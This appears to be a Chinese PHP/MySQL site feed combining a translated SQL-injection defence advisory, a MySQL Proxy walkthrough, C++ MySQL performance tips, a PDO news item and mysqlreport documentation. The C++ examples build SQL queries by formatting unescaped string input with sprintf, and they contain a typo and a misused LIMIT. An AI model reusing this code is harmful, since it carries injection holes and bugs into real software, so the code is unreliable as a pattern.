  • 如果运行了使用后端数据库的第三方代码,则考虑不受SQL注入影响的独立软件开发商(ISV,Independent Software Vendors)。

在使用第三方ASP Web程序的情况下,管理员应当联系应用程序厂商来确定他们的产品不受SQL注入攻击的影响。

  • 确认Web应用程序所使用的数据库帐户具有最少的权限。

管理员应当确保Web应用程序所使用的SQL用户具有最小的必要权限。Web应用程序不应当以诸如”sysadmin”的服务器管理员权限或者”db_owner”的数据库权限链接。白皮书”在SQL Server 2005中的最优化安全设置和维护”: http://download.microsoft.com/download/8/5/e/85eea4fa-b3bb-4426-97d0-7f7151b2011c/SQL2005SecBestPract.doc 提供了关于SQL Server安全的多方面建议。



给Web开发者的建议




有很多优秀的文档论述在编码时如何防御SQL注入攻 击。由于这些攻击者leverage有漏洞的Web应用程序代码,所以完全防御他们的唯一方法是解析在代码中存在的漏洞。程序中任何一个使用外部资源(一 般指从URI请求字符串)数据来动态生成SQL请求的地方都应当被认为是可疑的。当代码漏洞被识别出来,他们应当被小心的修复。

  • 说明-SQL注入、ASP.NET和ADO.NET :

http://msdn.microsoft.com/en-us/library/bb671351.aspx 同时,上面的文章包含到相关文章”如何在ASP.NET中避免SQL注入” http://msdn.microsoft.com/en-us/library/ms998271.aspx,该文章同时适用于ASP。 这里有一个非常有用的视频(该视频是针对一篇防御文章的,然而链接可能已经无效了):http://channel9.msdn.com/wiki/default.aspx/SecurityWiki.SQLInjectionLab

  • 关于SQL注入如何实现的简单信息:

http://msdn.microsoft.com/en-us/library/ms161953.aspx

  • ASP代码中的SQL注入(与ASP.NET中的并不相同):

http://msdn.microsoft.com/en-us/library/cc676512.aspx 如何在ASP中执行SQL Server存储过程: http://support.microsoft.com/kb/q164485

  • Microsoft安全部门(The Microsoft Security Development Lifecycle,SDL)对SQL注入的防御进行了一些指导。简单来说有三种策略来应对SQL注入攻击:
  1. 使用SQL参数查询
  2. 使用存储过程
  3. 使用SQL仅执行(execute-only)许可

Michael Howard在http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx谈论了这些内容。 同时,编写安全的代码(第二版)也指导了如何防御此类攻击(请浏览399-411页)。

  • 减轻SQL注入:使用参数查询(第一部分和第二部分)。使用参数化查询的好处是它将执行的代码(例如SELECT语句)和数据(由程序使用者提供的动态信息)分开。该途径防御了通过用户传递来执行的恶意语句。

第一部分: http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx 第二部分: http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx 在经典ASP代码中过滤SQL注入(或者黑名单中的字符),我们将如下的工作认为是实际中临时性的解决方案,因为它治标不治本。(例如,代码仍然是有漏洞的,他仍然可能被绕过过滤机制而被访问到) IIS团队中的Nazim解释了如何过滤的详细信息:http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx。 如果你仍然不了解从哪里开始,所有使用特定ASP代码访问数据库,尤其是使用由用户提供的数据的代码应当首先被检测。



给最终用户的建议



最终用户(下简称用户-译者注)应当浏览位于http://www.microsoft.com/protect/default.mspx的信息。另外,这里也有一些你可以采取以保护自己的步骤。

  • 通常应当有选择的访问网站-但是也需要了解,该漏洞也会影响用户信任的网站。

有选择的访问网站减少了你暴露在漏洞下的风险,当然即使是你所信任的也有可能被攻击。留意不正常的行为,了解面临的风险,并且实施本节提供的其他建议。

  • 针对Microsoft和第三方软件,保持安全更新。

由于恶意代码通常利用了已知的漏洞,因此你应当确保你在运行最新进行安全更新过的的Microsoft和第三方软件。Microsoft安全更新可以通过http://update.microsoft.com了解。http://www.microsoft.com/protect/computer/updates/OS.aspx有更多信息。

  • 禁用不必要的ActiveX控件和IE加载项。

你应当禁用所有不必要的ActiveX控件和IE加载项。根据KB883256(http://support.microsoft.com/kb/883256)的方法在Windows XP Service Pack2或者更新版本中来实施本步骤:

  1. 打开IE。
  2. 在”工具”菜单点击管理加载项。
  3. 点击加载项的名称。
  4. 使用如下的方法:
    • 点击更新ActiveX来使用最新的版本替换该控件。这个方法并非对所有的加载项都可用。
    • 点击”启用”,而后点击”确定”,来启用加载项。
    • 点击”禁用”,而后点击”确定”,来禁用加载项。

你可能需要重启IE来确保在启用/禁用插件的操作成功。针对更糟的操作系统,根据KB154036(http://support.microsoft.com/kb/154036)的说明进行操作。

  • 减少你所使用的第三方浏览器的受攻击风险的步骤。

如果你使用了IE之外的浏览器,那么你应当确保你安装的是最新的安全更新版本,同时你应当禁用了不必要的扩展和加载项。流行浏览器的信息可以在如下链接找到: Firefox - http://support.mozilla.com/en-US/kb/Firefox+Support+Home+Page Opera - http://www.opera.com/support/ Safari - http://www.apple.com/support/safari/

  • 更新反恶意程序软件

用户应当确保已经安装了杀毒软件和反间谍软件,并且保持他们的更新。你可以在http://www.microsoft.com/protect/computer/antivirus/OS.aspxhttp://www.microsoft.com/protect/computer/antispyware/OS.aspx找到更多信息。你可以在 http://onecare.live.com/standard/en-us/install/install.htm得到一份90天使用的Windows Live OneCare杀毒/反间谍软件。

]]>
MySQL Proxy - MySQL代理的介绍及个人使用经验 http://www.phpv.net/html/1583.html http://www.phpv.net/html/1583.html#comment Sun, 25 Nov 2007 01:54:44 +0000 esayr http://www.phpv.net/html/1583.html 因为当时我在弄一个项目,需要网通和电信两个镜像站点同时读写一个布署在电信服务器上的mysql数据库.中间有台双线的服务器可以做数据中转,试过很多方案都不理想.

Mysql Proxy很好的解决了我的问题.虽然目前还是测试版,可到现在三个月了,我的这个业务一直很稳定的在运行着.

下面就介绍一下当时的情况:

目的很明确,在下面的图片中,我仅希望web server 3(网通线路)的服务器能快速读写Data base server中的数据.



但由于"世界上最遥远的距离不是...而是中国电信到中国网通" 这个中国特色的问题,我从web server 3到Data base server 的ping 值在夜间闲时都在300ms以上,所以,通过第一种走法(蓝色).基本上网通的镜像慢得等于没用.

还好,我有台双线服务器托管在双线机房,它可以比较快速的连接Data base server和web server 3. 但这台服务器在跑其它重要业务,只能做数据中转.

最后.我在web server 2 (双线路) 上安装了Mysql proxy. 当web server 3需要连接 Data base server 的数据库时,只需要连接双线服务器的网通IP(红线走法),就OK了.

那什么是Mysql proxy 呢?



MySQL代理是一个介于MySQL客户端和MySQL服务器之间的简单程序,可用来监视、分析或者传输他们之间的通讯。他的灵活性允许你最大限度的使用它,这些包括负载平衡、容错 、分析查询和修正等等。官方网址是:http://forge.mysql.com/wiki/MySQL_Proxy

我在http://dev.mysql.com/downloads/mysql-proxy/下载了linux系统平台下的 MySQL proxy alpha 编译好的二进制版本.

解压,然后复制到/usr/local/sbin下,就开始可以使用了.(如果下的是源码,,则需要make一下)
$ tar zxfmysql-proxy-0.5.0.tar.gz
$ cp ./mysql-proxy-0.5.0/sbin/mysql-proxy /usr/local/sbin

命令语法很简单,它默认使用4040端口.
假设你想代理本机的mysql,直接执行
$ mysql-proxy &
就可以了.
注意,mysql server必须是5.0或者更高版本.

然后测试一下
$ mysql --host=127.0.0.1 --port=4040 --user=root --password
输入你的root密码,嘿嘿.和使用3306端口的一样.

有人会问:神经病吗?我直接用3306更直接和快速呀,为何多此一举,加个代理?
我能想到的是:
1.在大的应用时,有时需要将读写分离,提高效率,就会需要.
2.数据库做负载平衡(load balancing)时,也需要.
3.对local用户不需要复杂的安全验证,对远程用户需要ssl时.
4.其它一些特殊要求.

可惜,我所接触的项目没那么大,暂时不需要负载平衡(load balancing)和读写分离,只是个简单意义上的代理.于是我用参数--proxy-backend-addresses 让它代理Data base server这台服务器的3306端口
$ mysql-proxy --proxy-backend-addresses=192.168.0.1:3306 &

测试连接:
$ mysql --host=localhost --port=4040 --user=root --password
输入Data base server的密码.连接上了.

到网通服务器上测试,
$ mysql --host=双线服务器的网通IP地址 --port=4040 --user=root --password
输入密码后,立即就能看到mysql>了.

套上PHP代码,测试. 速度非常好.目的达到了.

如果你也有类似或者 mysql server 负载平衡、容错 等的应用需求时,不妨也试试mysql-proxy,
相信不会让你失望的.
也欢迎和我探讨这方面的问题. 我的联系方式在
这里!!
-------------------------------------------------------------------
mysql-proxy 的所有语法命令:
$ mysql-proxy --help-all

Usage:

mysql-proxy [OPTION...] - MySQL Proxy

Help Options:

-?, --help Show help options
--help-all Show all help options
--help-admin Show options for the admin-module
--help-proxy Show options for the proxy-module

admin module

--admin-address=<host:port>listening address:port of internal admin-server (default: :4041)



proxy-module

--proxy-address=<host:port>listening address:port of the proxy-server (default: :4040)
--proxy-read-only-backend-addresses=<host:port>address:port of the remote slave-server (default: not set)
--proxy-backend-addresses=<host:port>address:port of the remote backend-servers (default: 127.0.0.1:3306)
--proxy-skip-profiling disables profiling of queries (default: enabled)
--proxy-fix-bug-25371 fix bug #25371 (mysqld >5.1.12) for older libmysql versions
--proxy-lua-script=<file>filename of the lua script (default: not set)
--no-proxy Don't start proxy-server



Application Options:
-V, --version Show version
--daemon Start in daemon-mode
--pid-file=<file>PID file in case we are started as daemon


]]>
提高MySQL数据库查询效率的几个技巧 http://www.phpv.net/html/1577.html http://www.phpv.net/html/1577.html#comment Sat, 10 Nov 2007 00:28:48 +0000 抽烟的蚊子 http://www.phpv.net/html/1577.html MySQL由于它本身的小巧和操作的高效, 在数据库应用中越来越多的被采用.我在开发一个P2P应用的时候曾经使用MySQL来保存P2P节点,由于P2P的应用中,结点数动辄上万个,而且节点变 化频繁,因此一定要保持查询和插入的高效.以下是我在使用过程中做的提高效率的三个有效的尝试.
 
l        使用statement进行绑定查询
使用statement可以提前构建查询语法树,在查询时不再需要构建语法树就直接查询.因此可以很好的提高查询的效率. 这个方法适合于查询条件固定但查询非常频繁的场合.
使用方法是:
  1. 绑定, 创建一个MYSQL_STMT变量,与对应的查询字符串绑定,字符串中的问号代表要传入的变量,每个问号都必须指定一个变量.
  2. 查询, 输入每个指定的变量, 传入MYSQL_STMT变量用可用的连接句柄执行.
代码如下:
 
//1.绑定
bool CDBManager::BindInsertStmt(MYSQL * connecthandle)
{
       //作插入操作的绑定
       MYSQL_BIND insertbind[FEILD_NUM];
       if(m_stInsertParam == NULL)
              m_stInsertParam = new CHostCacheTable;
       m_stInsertStmt = mysql_stmt_init(connecthandle);
       //构建绑定字符串
       char insertSQL[SQL_LENGTH];
       strcpy(insertSQL, "insert into HostCache(SessionID, ChannelID, ISPType, "
              "ExternalIP, ExternalPort, InternalIP, InternalPort) "
              "values(?, ?, ?, ?, ?, ?, ?)");
       mysql_stmt_prepare(m_stInsertStmt, insertSQL, strlen(insertSQL));
       int param_count= mysql_stmt_param_count(m_stInsertStmt);
       if(param_count != FEILD_NUM)
              return false;
       //填充bind结构数组, m_sInsertParam是这个statement关联的结构变量
       memset(insertbind, 0, sizeof(insertbind));
       insertbind[0].buffer_type = MYSQL_TYPE_STRING;
       insertbind[0].buffer_length = ID_LENGTH /* -1 */;
       insertbind[0].buffer = (char *)m_stInsertParam->sessionid;
       insertbind[0].is_null = 0;
       insertbind[0].length = 0;
 
       insertbind[1].buffer_type = MYSQL_TYPE_STRING;
       insertbind[1].buffer_length = ID_LENGTH /* -1 */;
       insertbind[1].buffer = (char *)m_stInsertParam->channelid;
       insertbind[1].is_null = 0;
       insertbind[1].length = 0;
 
       insertbind[2].buffer_type = MYSQL_TYPE_TINY;
       insertbind[2].buffer = (char *)&m_stInsertParam->ISPtype;
       insertbind[2].is_null = 0;
       insertbind[2].length = 0;
 
       insertbind[3].buffer_type = MYSQL_TYPE_LONG;
       insertbind[3].buffer = (char *)&m_stInsertParam->externalIP;
       insertbind[3].is_null = 0;
       insertbind[3].length = 0;
      
       insertbind[4].buffer_type = MYSQL_TYPE_SHORT;
       insertbind[4].buffer = (char *)&m_stInsertParam->externalPort;
       insertbind[4].is_null = 0;
       insertbind[4].length = 0;
 
       insertbind[5].buffer_type = MYSQL_TYPE_LONG;
       insertbind[5].buffer = (char *)&m_stInsertParam->internalIP;
       insertbind[5].is_null = 0;
       insertbind[5].length = 0;
 
       insertbind[6].buffer_type = MYSQL_TYPE_SHORT;
       insertbind[6].buffer = (char *)&m_stInsertParam->internalPort;
       insertbind[6].is_null = 0;
       insertbind[6].is_null = 0;
       //绑定
       if (mysql_stmt_bind_param(m_stInsertStmt, insertbind))
              return false;
       return true;
}
 
//2.查询
bool CDBManager::InsertHostCache2(MYSQL * connecthandle, char * sessionid, char * channelid, int ISPtype, \
              unsigned int eIP, unsigned short eport, unsigned int iIP, unsigned short iport)
{
       //填充结构变量m_sInsertParam
       strcpy(m_stInsertParam->sessionid, sessionid);
       strcpy(m_stInsertParam->channelid, channelid);
       m_stInsertParam->ISPtype = ISPtype;
       m_stInsertParam->externalIP = eIP;
       m_stInsertParam->externalPort = eport;
       m_stInsertParam->internalIP = iIP;
       m_stInsertParam->internalPort = iport;
       //执行statement,性能瓶颈处
       if(mysql_stmt_execute(m_stInsertStmt))
              return false;
       return true;
}
 
l         随机的获取记录
在某些数据库的应用中, 我们并不是要获取所有的满足条件的记录,而只是要随机挑选出满足条件的记录. 这种情况常见于数据业务的统计分析,从大容量数据库中获取小量的数据的场合.
      有两种方法可以做到
1.       常规方法,首先查询出所有满足条件的记录,然后随机的挑选出部分记录.这种方法在满足条件的记录数很多时效果不理想.
2.       使用limit语法,先获取满足条件的记录条数, 然后在sql查询语句中加入limit来限制只查询满足要求的一段记录. 这种方法虽然要查询两次,但是在数据量大时反而比较高效.
示例代码如下:
 
//1.常规的方法
//性能瓶颈,10万条记录时,执行查询140ms, 获取结果集500ms,其余可忽略
int CDBManager::QueryHostCache(MYSQL* connecthandle, char * channelid, int ISPtype, CDBManager::CHostCacheTable * &hostcache)
{    
       char selectSQL[SQL_LENGTH];
       memset(selectSQL, 0, sizeof(selectSQL));
       sprintf(selectSQL,"select * from HostCache where ChannelID = '%s' and ISPtype = %d", channelid, ISPtype);
       if(mysql_real_query(connecthandle, selectSQL, strlen(selectSQL)) != 0)   //检索
              return 0;
       //获取结果集
       m_pResultSet = mysql_store_result(connecthandle);
       if(!m_pResultSet)   //获取结果集出错
              return 0;
       int iAllNumRows = (int)(mysql_num_rows(m_pResultSet));      ///<所有的搜索结果数
       //计算待返回的结果数
       int iReturnNumRows = (iAllNumRows <= RETURN_QUERY_HOST_NUM)? iAllNumRows:RETURN_QUERY_HOST_NUM;
       if(iReturnNumRows <= RETURN_QUERY_HOST_NUM)
       {
              //获取逐条记录
              for(int i = 0; i<iReturnNumRows; i++)
              {
                     //获取逐个字段
                     m_Row = mysql_fetch_row(m_pResultSet);
                     if(m_Row[0] != NULL)
                            strcpy(hostcache[i].sessionid, m_Row[0]);
                     if(m_Row[1] != NULL)
                            strcpy(hostcache[i].channelid, m_Row[1]);
                     if(m_Row[2] != NULL)
                            hostcache[i].ISPtype      = atoi(m_Row[2]);
                     if(m_Row[3] != NULL)
                            hostcache[i].externalIP   = atoi(m_Row[3]);
                     if(m_Row[4] != NULL)
                            hostcache[i].externalPort = atoi(m_Row[4]);
                     if(m_Row[5] != NULL)
                            hostcache[i].internalIP   = atoi(m_Row[5]);
                     if(m_Row[6] != NULL)
                            hostcache[i].internalPort = atoi(m_Row[6]);             
              }
       }
       else
       {
              //随机的挑选指定条记录返回
              int iRemainder = iAllNumRows%iReturnNumRows;    ///<余数
              int iQuotient = iAllNumRows/iReturnNumRows;      ///<
              int iStartIndex = rand()%(iRemainder + 1);         ///<开始下标 
              //获取逐条记录
        for(int iSelectedIndex = 0; iSelectedIndex < iReturnNumRows; iSelectedIndex++)
        {
                            mysql_data_seek(m_pResultSet, iStartIndex + iQuotient * iSelectedIndex);
                            m_Row = mysql_fetch_row(m_pResultSet);
                  if(m_Row[0] != NULL)
                       strcpy(hostcache[iSelectedIndex].sessionid, m_Row[0]);
                   if(m_Row[1] != NULL)
                                   strcpy(hostcache[iSelectedIndex].channelid, m_Row[1]);
                   if(m_Row[2] != NULL)
                       hostcache[iSelectedIndex].ISPtype      = atoi(m_Row[2]);
                   if(m_Row[3] != NULL)
                       hostcache[iSelectedIndex].externalIP   = atoi(m_Row[3]);
                    if(m_Row[4] != NULL)
                       hostcache[iSelectedIndex].externalPort = atoi(m_Row[4]);
                   if(m_Row[5] != NULL)
                       hostcache[iSelectedIndex].internalIP   = atoi(m_Row[5]);
                   if(m_Row[6] != NULL)
                       hostcache[iSelectedIndex].internalPort = atoi(m_Row[6]);
        }
      }
       //释放结果集内容
       mysql_free_result(m_pResultSet);
       return iReturnNumRows;
}
 
//2.使用limit版
int CDBManager::QueryHostCache(MYSQL * connecthandle, char * channelid, unsigned int myexternalip, int ISPtype, CHostCacheTable * hostcache)
{
       //首先获取满足结果的记录条数,再使用limit随机选择指定条记录返回
       MYSQL_ROW row;
       MYSQL_RES * pResultSet;
       char selectSQL[SQL_LENGTH];
       memset(selectSQL, 0, sizeof(selectSQL));
 
       sprintf(selectSQL,"select count(*) from HostCache where ChannelID = '%s' and ISPtype = %d", channelid, ISPtype);
       if(mysql_real_query(connecthandle, selectSQL, strlen(selectSQL)) != 0)   //检索
              return 0;
       pResultSet = mysql_store_result(connecthandle);
       if(!pResultSet)      
              return 0;
       row = mysql_fetch_row(pResultSet);
       int iAllNumRows = atoi(row[0]);
       mysql_free_result(pResultSet);
       //计算待取记录的上下范围
       int iLimitLower = (iAllNumRows <= RETURN_QUERY_HOST_NUM)?
              0:(rand()%(iAllNumRows - RETURN_QUERY_HOST_NUM));
       int iLimitUpper = (iAllNumRows <= RETURN_QUERY_HOST_NUM)?
              iAllNumRows:(iLimitLower + RETURN_QUERY_HOST_NUM);
       //计算待返回的结果数
       int iReturnNumRows = (iAllNumRows <= RETURN_QUERY_HOST_NUM)?
               iAllNumRows:RETURN_QUERY_HOST_NUM;
      
       //使用limit作查询
       sprintf(selectSQL,"select SessionID, ExternalIP, ExternalPort, InternalIP, InternalPort "
              "from HostCache where ChannelID = '%s' and ISPtype = %d limit %d, %d"
              , channelid, ISPtype, iLimitLower, iLimitUpper);
       if(mysql_real_query(connecthandle, selectSQL, strlen(selectSQL)) != 0)   //检索
              return 0;
       pResultSet = mysql_store_result(connecthandle);
       if(!pResultSet)
              return 0;
       //获取逐条记录
       for(int i = 0; i<iReturnNumRows; i++)
       {
              //获取逐个字段
              row = mysql_fetch_row(pResultSet);
              if(row[0] != NULL)
                     strcpy(hostcache[i].sessionid, row[0]);
              if(row[1] != NULL)
                     hostcache[i].externalIP   = atoi(row[1]);
              if(row[2] != NULL)
                     hostcache[i].externalPort = atoi(row[2]);
              if(row[3] != NULL)
                     hostcache[i].internalIP   = atoi(row[3]);
              if(row[4] != NULL)
                     hostcache[i].internalPort = atoi(row[4]);            
       }
       //释放结果集内容
       mysql_free_result(pResultSet);
       return iReturnNumRows;
}
 
l         使用连接池管理连接.
在有大量节点访问的数据库设计中,经常要使用到连接池来管理所有的连接.
一般方法是:建立两个连接句柄队列,空闲的等待使用的队列和正在使用的队列.
当要查询时先从空闲队列中获取一个句柄,插入到正在使用的队列,再用这个句柄做数据库操作,完毕后一定要从使用队列中删除,再插入到空闲队列.
设计代码如下:
 
//定义句柄队列
typedef std::list<MYSQL *> CONNECTION_HANDLE_LIST;
typedef std::list<MYSQL *>::iterator CONNECTION_HANDLE_LIST_IT;
 
//连接数据库的参数结构
class CDBParameter            
{
public:
       char *host;                                 ///<主机名
       char *user;                                 ///<用户名
       char *password;                         ///<密码
       char *database;                           ///<数据库名
       unsigned int port;                 ///<端口,一般为0
       const char *unix_socket;      ///<套接字,一般为NULL
       unsigned int client_flag; ///<一般为0
};
 
//创建两个队列
CONNECTION_HANDLE_LIST m_lsBusyList;                ///<正在使用的连接句柄
CONNECTION_HANDLE_LIST m_lsIdleList;                  ///<未使用的连接句柄
 
//所有的连接句柄先连上数据库,加入到空闲队列中,等待使用.
bool CDBManager::Connect(char * host /* = "localhost" */, char * user /* = "chenmin" */, \
                                           char * password /* = "chenmin" */, char * database /* = "HostCache" */)
{
       CDBParameter * lpDBParam = new CDBParameter();
       lpDBParam->host = host;
       lpDBParam->user = user;
       lpDBParam->password = password;
       lpDBParam->database = database;
       lpDBParam->port = 0;
       lpDBParam->unix_socket = NULL;
       lpDBParam->client_flag = 0;
       try
       {
              //连接
              for(int index = 0; index < CONNECTION_NUM; index++)
              {
                     MYSQL * pConnectHandle = mysql_init((MYSQL*) 0);     //初始化连接句柄
                     if(!mysql_real_connect(pConnectHandle, lpDBParam->host, lpDBParam->user, lpDBParam->password,\
       lpDBParam->database,lpDBParam->port,lpDBParam->unix_socket,lpDBParam->client_fla))
                            return false;
//加入到空闲队列中
                     m_lsIdleList.push_back(pConnectHandle);
              }
       }
       catch(...)
       {
              return false;
       }
       return true;
}
 
//提取一个空闲句柄供使用
MYSQL * CDBManager::GetIdleConnectHandle()
{
       MYSQL * pConnectHandle = NULL;
       m_ListMutex.acquire();
       if(m_lsIdleList.size())
       {
              pConnectHandle = m_lsIdleList.front();      
              m_lsIdleList.pop_front();
              m_lsBusyList.push_back(pConnectHandle);
       }
       else //特殊情况,闲队列中为空,返回为空
       {
              pConnectHandle = 0;
       }
       m_ListMutex.release();
 
       return pConnectHandle;
}
 
//从使用队列中释放一个使用完毕的句柄,插入到空闲队列
void CDBManager::SetIdleConnectHandle(MYSQL * connecthandle)
{
       m_ListMutex.acquire();
       m_lsBusyList.remove(connecthandle);
       m_lsIdleList.push_back(connecthandle);
       m_ListMutex.release();
}
//使用示例,首先获取空闲句柄,利用这个句柄做真正的操作,然后再插回到空闲队列
bool CDBManager::DeleteHostCacheBySessionID(char * sessionid)
{
       MYSQL * pConnectHandle = GetIdleConnectHandle();
       if(!pConnectHandle)
              return 0;
       bool bRet = DeleteHostCacheBySessionID(pConnectHandle, sessionid);
       SetIdleConnectHandle(pConnectHandle);
       return bRet;
}
//传入空闲的句柄,做真正的删除操作
bool CDBManager::DeleteHostCacheBySessionID(MYSQL * connecthandle, char * sessionid)
{
       char deleteSQL[SQL_LENGTH];
       memset(deleteSQL, 0, sizeof(deleteSQL));
       sprintf(deleteSQL,"delete from HostCache where SessionID = '%s'", sessionid);
       if(mysql_query(connecthandle,deleteSQL) != 0) //删除
              return false;
       return true;
}
]]>
MySQL AB 项目宣布正式支持 PDO http://www.phpv.net/html/1568.html http://www.phpv.net/html/1568.html#comment Tue, 25 Sep 2007 14:04:45 +0000 esayr http://www.phpv.net/html/1568.html Lukas Smith近日公开宣布 MySQL 开发团队最终认可了PDO开发团队的努力和未来前景,并开始支持他们.
当然对于mysqli维护他们也是不会放松的.

看来PDO是大势所趋,没了解过PDO的,加紧喽!

什么是PDO?

PHP Data Object(PDO)是PHP一个扩展. 它定义了一个简便持久访问数据库的方法. 我们可以方便地使用一组定义好的函数来访问每个实现了PDO的数据库.
PDO提供了一组访问数据库的抽象方法, 也就是说, 不论访问何种类型的数据库, 我们只用同样名称的方法访问就可以了, 这样就大大简便了数据库操作。



原文:

As Alexey Zakhlestin points out today, Lukas Smith has made the announcement that the MySQL group is finally recognizing the efforts of the PDO developers and supporting them:

Ok, it seems that MySQL AB is finally committing to fix up PDO_MySQL and to generally accept the fact that PDO is the future. Of course mysqli will also be actively maintained. But they will also make mysqlnd play nicely with PDO etc.

There's budgets and time lines for the project so things are already moving along and developers to the project will soon be assigned. Lukas also mentions updated on PHP's side - validating that the documentation for the extensions (mysql and mysqli) are up to date and correct.


]]>
mysqlreport 中文文档 http://www.phpv.net/html/1566.html http://www.phpv.net/html/1566.html#comment Fri, 21 Sep 2007 13:34:57 +0000 esayr http://www.phpv.net/html/1566.html mysqlreport 文档

mysqlreport 以很友好的方式显示 MySQL状态变。事实上,它几乎报告了所有的状态。不像 SHOW STATUS 只是在显示了100多个状态值,mysqlreport 则以人性化的方式阐释和格式化了这些状态值,大大增加了其可读性。可以 点击这里 查看mysqlreport的例子。

mysqlreport 的好处是可以快速的查看各种状态参数组,从而了解服务器的运行状态情况,而无需从 SHOW STATUS 的结果中人工计算。例如索引读取比率是个重要的参数,但是 SHOW STATUS 中并没有显示;它是一个推断值(key_reads 和 key_read_requests 的比值)。


本文档描述了 mysqlreport 的所有命令行选项,大部分是用于控制如何显示结果的。本文并没有解释这些推断值是怎么计算得到的,可以点击 理解mysqlreport 查看具体的计算方法。

注意

命令行选项的格式是 --选项,不过 -选项 的格式也可以。所有的选项都有其缩写,只要是唯一的。例如,选项 --host 可以缩写成 --ho,不过不能写成 --h,因为 --h 有歧义,可能是 --host 或者 --help。

选项列表

--user USER
--password
--host ADDRESS
--port PORT
--socket SOCKET
--no-mycnf
--help
这些选项是模拟其他标准应用程序的。从 2.3 版本开始,--password 可以在后面加上参数,如 "--password FOO"。如果命令行中只指定了选项 --password,则会提示输入密码。--no-mycnf 告诉 mysqlreport 不要读取 ~/.my.cnf,默认会去读取这个文件。--user 和 --password 总是覆盖从 ~/.my.cnf 中取得的结果。
--infile FILE 直接从文件中读取状态文件,而不是从MySQL的 SHOW STATUS 中读取。文件内容通常是从 SHOW STATUS 的结果中取得,并且包含格式化字符(|, +, -)。mysqlreport 认为这样的文件"状态名 数值"格式的,状态包含字符和下划线(A-Z 和 _),数值则是非负整数。在状态名和数值之间的任何内容都会被忽略。mysqlreport 也需要以下MySQL服务器系统变量:version, table_cache, max_connections, key_buffer_size, query_cache_size, thread_cache_size。INFILE 的格式也可以是 "名字 = 数值"这样的,名字可以使是上面提到的各种变量名,数值是非负整数,可能后面带有M或者其他单位(根据版本不同而定)。例如,想要指定 18M 的 key_buffer_size:key_buffer_size = 18M。或者,256 个 table_cache:table_cache = 256。M 指兆字节,而非百万。因此 18M 是 18,874,368,而非 18,000,000。如果这些服务器变量没有指定,则使用默认以下默认值:0.0.0, 64, 100, 8M, 0, 0,就可能会让报告结果看起来很奇怪。

注意:MySQL 服务器版本在 5.1.3 或更新时,尽管系统变量 table_cache 改成了 table_open_cache,但是读取本地文件时仍采用 table_cache。

--outfile FILE 在屏幕显示完报告结果后,将结果写入文件中。mysqlreport 的内部机制总是先将结果写入临时文件中。然后将该临时文件里的内容打印到屏幕上。然后,如果指定了 --outfile 选项,则将临时文件拷贝成 OUTFILE。如果指定选项 --email,则会删除临时文件。
--email ADDRESS 在屏幕显示完结果后,将结果发送到邮件地址 ADDRESS 中去。欲该选项,需要在 /usr/sbin/ 目录下有 sendmail 程序,因此无法在 windows 平台下使用。/usr/sbin/sendmail 可以符号链接到 qmail,或者任何其他能模拟 sendmail -t 方式的 MTA 程序。邮件来源是:mysqlreport,主题是:MySQL status report on HOST,HOST 是 mysqlreport
所在的主机名,可能是读取到的 --host 值,默认是 localhost。
--flush-status 显示完报告后,执行 "FLUSH STATUS;" 语句。如果没有权限,则 DBD::mysql 会显示返回值。
--relative (-r) X mysqlreport 通常情况下报告的是自从 MySQL 服务器启动以来的状态信息。--relative 选项则是令 mysqlreport 产生一份自从上次报告以来的相关报告。


如果 --relative X 的 X 值是一个整数,则 mysqlreport 会在隔 X 秒后再次产生一份 MySQL 服务器的状态报告。产生报告的次数是由 --report-count 选项来控制的。默认是产生 1 份相关的报告。例如,指定 --relative 的值为 60,则会产生 2 份报告:第一份会马上生成,第二份会在 60 秒后再次生成。第二份报告中的数值会和前面的那份相关。例如,前面那份中总共有 10.00k 次查询,在这 60 秒的间隔时间里接受了新的 1.00k 次查询,则第二份的报告中的总查询次数是 1.00k 而非 11.00k 次。



如果 --relative 选项的值也可以是本地文件(类似 --infile 选项的用法),那么 mysqlreport 会按照参数值中文件的顺序来依次产生状态报告。因此,根据这些文件产生的时间来指定选项的值非常重要:较早产生的文件放在参数的前面。第一个文件中必须有手工添加的系统变量,例如:key_buffer_size、table_cache 等。每个文件中可以有多组 "SHOW STATUS" 的结果。注意:通过 "mysqladmin -r -i N extended" 产生的状态文件无法使用,因为 mysqladmin 的 -r 参数已经令其产生了具有相对性的状态值了。



由于 mysqlreport 首先会把状态报告写到临时文件中,如果 --relative 的值是 整数(而非 本地文件)时,mysqlreport 会显示它把文件写到哪了。那么就可以直接通过查看这些文件内容来观察服务器的状况了。
--report-count (-c) N 生成 N 份相关的报告。本选项只有在同时启用 --relative 选项后才有效。mysqlreport 会自动产生 N+1 份报告:第一份基本报告,以及后面的 N 份相关报告。
--detach 若指定本选项,则 mysqlreport 会派生出进程来,不只是在屏幕显示结果,还会转入后台继续运行。派生新进程后,mysqlreport 会报告它把结果写入哪个临时文件了。本选项还可以指定 --outfile 或 --email 的一个。如果没有指定 --outfile 或 --email 的值,则产生的临时文件会被删除,因为 mysqlreport 派生出新进程后,无法再将结果打印到终端屏幕上了。本选项如果和 --relative 一起使用的话就更有意义了,这样 mysqlreport 就能定时报告信息,而无需人工登录等方式在中断执行了。使用如下的命令,就能让 mysqlrepot 隔一个小时再次产生一次报告,并将结果发送到自己的信箱中去:
mysqlreport -r 3600 -detach -email host@domain.com

一个小时候后,mysqlreport 通过email发送报告,删除临时文件,并且干净地终止。
--debug 显示调试信息。
--dtq (Questions 报告的 Total 部分中)显示所有的查询分布报告。这些查询主要包括以下四部分:DMS (见下面)、COM_ (见下面)、COM_QUIT(见 COM_QUIT and Questions)、以及其他未知。每部分根据其总数倒序显示。
--dms (Questions 报告的 DMS 部分中)显示所有的数据维护语句(DMS)报告。DMS是下面文档 13.2. Data Manipulation Statements 中提到的那些(当前主要有:SELECT, INSERT, REPLACE, UPDATE, and DELETE)。每个 DMS 根据其总数倒序显示。
--com N (Questions 报告之后)以降序显示最多 N 个 非DMS Com_ 状态值。如果没有指定 N 的值,则默认是 3。所谓的非DMS Com_ 状态值,包括:Com_change_db、Com_show_tables、Com_rollback 等。
--sas (Questions 报告之后),显示所有的 Select_ 和 Sort_ 报告。详情请看 MySQL Select and Sort Status Variables
--qcache 如果打开查询缓存的话,则显示查询缓存状态报告。
